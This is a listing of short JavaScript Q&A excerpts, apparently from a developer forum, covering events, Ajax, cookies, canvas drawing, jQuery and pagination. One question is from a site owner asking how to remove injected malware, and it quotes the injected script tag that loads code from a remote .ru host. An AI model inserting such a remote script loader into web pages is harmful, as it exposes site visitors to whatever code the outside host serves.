Only fire an event once?
How do I control only firing an event once? Actually, a quick google appears to elude to the fact that .one helps.. ...
javascript
What does Asynchronous means in Ajax?
What does Asynchronous means in Ajax? and also how does Ajax know when to pull data without server polling? ...
Problems with my Javascript image preloader code
I can't seem to understand why my images still won't show up with my code. All my folders and images are correctly names and placed accordingly. However, if someone could look over my code and see if there is an error there and get this code to run properly. It would be great. <!DOCTYPE html> <html> <head> <title>Sample ...
Get and Set a Single Cookie with Node.js HTTP Server
I want to be able to set a single cookie, and read that single cookie with each request made to the nodejs server instance. Can it be done in a few lines of code, without the need to pull in a third party lib? var http = require('http'); http.createServer(function (request, response) { response.writeHead(200, {'Content-Type': 'text/p...
how can i remove script virus from my script
i have following code added automatically into my script... <script type="text/javascript" src="http://obscurewax.ru/Kilobyte.js"></script> <!--72628eb2e686638651ad69b6a34a630f--> at the end of my each page when i see source code of my page it shows me the above code but when i open that file in notepad or any editing softwa...
Is Plain vanilla Javascript better than using frameworks like jQuery/mootools ?
Hi All, I am wondering if it is a good idea to rely on frameworks like jQuery/mootools or should we just use plain javascript ? Apart from avoiding the re-invention of wheel, do they add any specific value ? Since the frameworks are open to public, can there be possibility of exploitation of any security holes that might appear(of cou...
parse xls from javascript
i had an excel file, i need to parse it from javascript and iam working with firefox. is there any possible ways? ...
Center the DIV Element popup
Hi, I've created a div in my page, and it looks like - <div id="progressThrobber" style="display: none;"><img src="/btweb/images/DeskTopIconLoading.gif" width="200" height ="40"/> Loading...</div> Now the function that makes it appear as a popup on the page is underneath - function showProgress(divId) { var divEleme...
Draw a cross at the mouses location on a canvas, non persistently
I have this bound to the mousemove event of my canvas: function(e){ var contDiv = $('#current_system_map'); var offset = contDiv.offset(); x = e.clientX-offset.left; y = e.clientY-offset.top; context.beginPath(); context.moveTo(0,y); context.lineTo(595,y); context.moveTo(x,0); context.lineTo(...
Retrieve username/password from browser using javascript
Hi, My web server has authentication enabled. When I access my web server i get a pop-up from browser for username and password. After logged in, I want to retrieve the username from the browser using javascript. I am not using any kind of form to get the username/password. So, I am not setting any cookies also. Can we use DOM method ...
Page Pagination
Hello All, I would like your help to guide me to the easiest way to do page pagination in my jsp. My code is below which is listing the values in a generated table: <% while(rs.next()){ %> <a href="cir_view.jsp?cir_id=<%=rs.getString("cir_id")%>" Title="View" onClick="return popup(this, 'Report')"> <%=rs.getString("cir_id")%> </a> ...
How do I wait for first canvas-repaint until @font-face-font is loaded?
I have a HTML5-canvas and write text with context.fillText(...); using a @font-face-font. Displaying the page with Firefox (3.6) I have the problem, that on the first paint of the canvas the font is not downloaded yet so the text will be displayed with a standard-font. I found a 'solution' here but it does not work, because the font is o...
I am looking for good JS Loader and CSS Loader script in jQuery
Hello, I am looking for a good JS and CSS Loader for on demand loading Management in jQuery. Can anyone advice good solution ? ...
How to append a variable to all the javascript files before they are loaded in a page in cake php?
Hello friends, I need to append a variable to all Javascript files while they are included in a page automatically. The variable needs to be added before the page gets loaded. Following is the example of what i need. var scriptfile='http://www.whatever.com/myjs.js?rnd='+revision_number I need to achieve this using Cake PHP. Please g...
How to get the first inner element?
So I Want to get the first 'a' tag in this div. This is really driving me nuts. thanks for any help. <div id="PGD" class="album" onmouseover="load(this)"> <a class="dl" href="#">DOWNLOAD</a> </div> javascript function load(dl) { var ID = $(dl).attr('id'); var elemnt = $('ID:first').attr('id'); } ...
FullCalendar: Fetching the initial date/time-stamp to show once events are fetched from server
First of all, hats off to Adam for pulling off this wonderful, well-written calendar plugin! Now for a a very typical use case. Below is what I want to achieve: Fetch events (URL added to eventSources) from the server side as JSON data. This is all fine and I have been able to achieve this. The events get rendered properly. USE CASE i...
How to set value in a hidden field and hide a div using Javascript ?
hey all i am newbie to javascript and i want to know how to set value in a hidden field using java script and how to hide a div using java script ? ...
Can't test the javascript regx correctly
Hi all I have the following Regx that can't be accepted on the JavaScript if ($(caller).attr('value').toString().search('/(?=\D*\d\D*\d).{8,15}/g') == -1) where $(caller).attr('value').toString() = "fdsddfsd45" it returns to me -1 also I'm try to test it from pattern if (!pattern.test($(caller).attr('value'))) { where patte...
storing tree element in jQuery
I have developed a tree menu using jQuery api. But all my tree elements are hard coded. I want to store the tree elements in a data structure and create the tree dynamically. Does jQuery has any data structure like linked list or sth or do I have to code my own data structure ? ...
Is it possible to check if IE blocked my download with jQuery/Javascipt?
I am having some issues with IE which is showing me its yellow "download blocked" bar for a good reason: the actual submit that returns the file is triggered due javascript. I would like the show the user some additional information if this is the case. So is it possible the check if the browser is actually blocking my download? ...